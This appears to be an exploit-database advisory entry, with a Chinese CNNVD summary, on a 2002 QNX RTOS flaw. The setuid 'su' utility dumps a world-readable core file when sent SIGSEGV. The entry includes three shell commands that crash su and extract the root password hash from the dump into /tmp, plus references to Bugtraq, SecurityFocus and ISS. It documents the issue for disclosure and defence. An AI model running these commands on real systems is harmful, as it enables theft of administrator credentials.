https://www.exploit-db.com/exploits/21502
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200212-374

QNXrealtimeoperatingsystem(RTOS)4.25和6.1.0的/bin/su存在漏洞。本地用户可以通过发送SIGSERV（无效存储器参量）信号获取核心转储文件的敏感信息。

source: http://www.securityfocus.com/bid/4914/info

It has been reported that the 'su' utility for QNX RTOS accepts the SIGSEGV signal and dumps a world readable core file. An attacker is able to analyze the core file and obtain very sensitive information.

It is very probable that this is a kernel-based vulnerability affecting not only 'su', but other setuid programs as well 

$su > /dev/null &
$kill -SEGV `ps -A | grep su | awk {'print $1'}`
$strings /var/dumps/su.core | grep ":0:0" > /tmp/mypasswd

The attacker has effectively obtained a copy of the root user's password hash.

来源:BUGTRAQ
名称:20020603QNX
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=102312549511726&w;=2
来源:BID
名称:4914
链接:http://www.securityfocus.com/bid/4914
来源:XF
名称:qnx-rtos-su-core-dump(9256)
链接:http://www.iss.net/security_center/static/9256.php